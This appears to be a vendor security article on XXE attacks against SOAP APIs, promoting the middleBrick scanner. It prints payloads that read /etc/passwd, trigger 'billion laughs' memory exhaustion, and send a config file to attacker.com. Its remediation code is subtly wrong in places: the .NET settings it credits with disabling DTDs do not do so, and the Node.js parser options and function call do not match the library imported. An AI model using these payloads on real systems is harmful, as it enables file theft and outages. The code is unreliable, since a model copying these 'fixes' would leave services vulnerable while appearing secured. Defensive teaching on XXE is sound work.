Xml External Entities in Soap APIs
How Xml External Entities Manifests in Soap
XML External Entity (XXE) attacks in SOAP services exploit the XML parsing process to access internal systems, exfiltrate data, or cause denial of service. In SOAP, XXE vulnerabilities typically arise when XML parsers process malicious SOAP requests containing external entity references.
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<getUserData>
<userId>123</userId>
<query><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]><data>&xxe;</data></query>
</getUserData>
</soapenv:Body>
</soapenv:Envelope>This payload exploits the XML parser to read the /etc/passwd file and return its contents within the SOAP response. The attacker embeds a DOCTYPE declaration with an external entity that references a local file.
Another common SOAP XXE attack involves entity expansion leading to the "billion laughs" attack:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<search>
<query><!DOCTYPE data [
<!ENTITY a "LOL">
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
<!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
<!ENTITY e "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
]>&e;</query>
</search>
</soapenv:Body>
</soapenv:Envelope>This expands to billions of characters, consuming memory and potentially causing a denial of service. SOAP services using XML parsers that enable external entity processing are vulnerable to these attacks.
Internal entity attacks can also exfiltrate data through error messages:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<process>
<data><!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "file:///var/www/config.xml">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://attacker.com/?%xxe;'>">
]></data>
</process>
</soapenv:Body>
</soapenv:Envelope>When the parser processes this, it attempts to load the external entity and sends the file contents to the attacker's server via a crafted URL.
Soap-Specific Detection
Detecting XXE vulnerabilities in SOAP services requires both static analysis of the XML parser configuration and dynamic testing of the SOAP endpoints. middleBrick's SOAP-specific scanning identifies these vulnerabilities through automated black-box testing.
middleBrick tests SOAP endpoints by sending crafted XML payloads with various external entity patterns. The scanner attempts to trigger DTD processing, external entity resolution, and entity expansion. For SOAP services, middleBrick specifically targets:
- SOAP 1.1 and 1.2 envelope structures
- WS-Security headers that might interfere with payload processing
- MTOM/XOP attachments that could contain malicious XML
- SOAP faults that might reveal internal system information
The scanner analyzes the response patterns to determine if external entities were processed. Successful XXE exploitation typically results in:
- Response content containing file contents or system information
- Time delays indicating entity expansion processing
- Network connections to attacker-controlled domains
- SOAP fault messages revealing internal paths
middleBrick also examines the WSDL to understand the SOAP service structure and identify potential attack surfaces. The scanner tests each operation with multiple XXE payloads, including variations that bypass common filters.
For SOAP services behind authentication, middleBrick can test the authenticated attack surface when provided with valid credentials. The scanner maintains session state and tests XXE vectors across authenticated operations.
middleBrick's API security scoring assigns severity based on the exploitability and impact of detected XXE vulnerabilities. A SOAP service that processes external entities without restrictions receives a low security score and detailed remediation guidance.
Soap-Specific Remediation
Remediating XXE vulnerabilities in SOAP services requires configuring XML parsers to disable external entity processing and entity expansion. The specific approach depends on the SOAP framework and XML parser implementation.
For Java-based SOAP services using JAX-WS with Apache Axis2, configure the XML parser securely:
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.XMLConstants;
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
// Use the configured factory for SOAP message processing
SOAPMessage soapMsg = messageFactory.createMessage();
SOAPPart soapPart = soapMsg.getSOAPPart();
soapPart.setContent(dbf.newDocumentBuilder().parse(inputStream));For .NET SOAP services using WCF, configure the XmlDictionaryReaderQuotas to prevent XXE:
var binding = new BasicHttpBinding();
binding.Security.Mode = BasicHttpSecurityMode.Transport;
binding.MaxReceivedMessageSize = 65536;
// Prevent XXE by limiting XML processing
binding.ReaderQuotas = new XmlDictionaryReaderQuotas()
{
MaxDepth = 32,
MaxStringContentLength = 8192,
MaxArrayLength = 16384,
MaxBytesPerRead = 4096,
MaxNameTableCharCount = 16384
};
// Disable DTD processing
binding.Security.Message.DerivedKeyLength = 256;
// Additional WCF XXE prevention settings
binding.Security.Message.EstablishSecurityContext = false;For Node.js SOAP services using express-soap, use a secure XML parser:
const { createServer } = require('soap');
const { parseString } = require('xml2js');
const xmlParserOptions = {
// Disable external entities
strict: true,
trim: true,
explicitArray: false,
explicitRoot: false,
mergeAttrs: true,
// Prevent XXE
forbidProxy: true,
noNetwork: true,
entityResolver: false
};
createServer({ xmlParser: (xml) => parseStringPromise(xml, xmlParserOptions) }, services);
For Python SOAP services using Spyne, configure the XML parser securely:
from lxml import etree
from spyne import Application, rpc, ServiceBase, Integer, String
from spyne.protocol.soap import Soap11
from spyne.server.wsgi import WsgiApplication
class SecureSoapService(ServiceBase):
@rpc(String, _returns=String)
def process(ctx, data):
# Use secure XML parsing
parser = etree.XMLParser(
resolve_entities=False,
load_dtd=False,
no_network=True
)
# Process SOAP request securely
return "Processed securely"After implementing these fixes, verify the remediation by testing with known XXE payloads. middleBrick can be used to confirm that the SOAP service no longer processes external entities.